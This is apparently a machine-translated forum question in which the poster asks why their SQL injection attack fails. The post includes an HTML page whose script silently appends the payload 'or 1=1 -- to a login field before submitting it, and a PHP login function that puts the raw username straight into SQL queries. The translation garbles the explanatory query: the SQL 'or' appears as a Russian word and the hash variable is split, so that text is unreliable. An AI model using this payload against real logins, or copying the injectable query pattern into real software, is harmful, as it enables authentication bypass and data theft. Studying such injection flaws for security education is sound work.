Фон
Я создал html страницу зло. html, благодаря чему, когда пользователь нажимает на нее, он должен иметь возможность ввести имя пользователя и нажмите кнопку отправки, тем самым регистрируя их на сайте, который я создал.
Я ожидал бы, что инъекция 'or 1=1 --
будет означать, что если я отправлю пользователя с именем пользователя test
, то результаты запроса SQL in
SELECT * FROM users WHERE userid = 'test' или 1 = 1 - AND password = '$ ha sh'
, что должно означать, что мой пользователь test
аутентифицирован. Однако он выдает 500 там, где есть знаки +
, где интервал в инъекции.
Мой параметр входа в запрос выглядит следующим образом:
login:
"test'or+1=1+--"
Кто-нибудь знает, почему этот эксплойт не работает?
зло. html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script>
function attack() {
document.querySelector('#login').value += "'or 1=1 --";
}
</script>
</head>
<body>
<form action="http://example.com/" onsubmit="attack();" method="POST">
<input name="login" id="login" value="">
<button>Submit</button>
</form>
</body>
</html>
логин. php
function login($username, $password) {
$sql = "SELECT * FROM users WHERE userid='$username'";
$result = $this->db->query($sql);
$user = $result->next();
if (!$user) {
return false;
}
$salt = $user['salt'];
$hash = md5($salt.$password);
$sql = "SELECT * FROM users WHERE userid='$username' AND password='$hash'";
$userdata = $this->db->query($sql)->next();
if ($userdata) {
// user is logged in
// doStuff()
}
}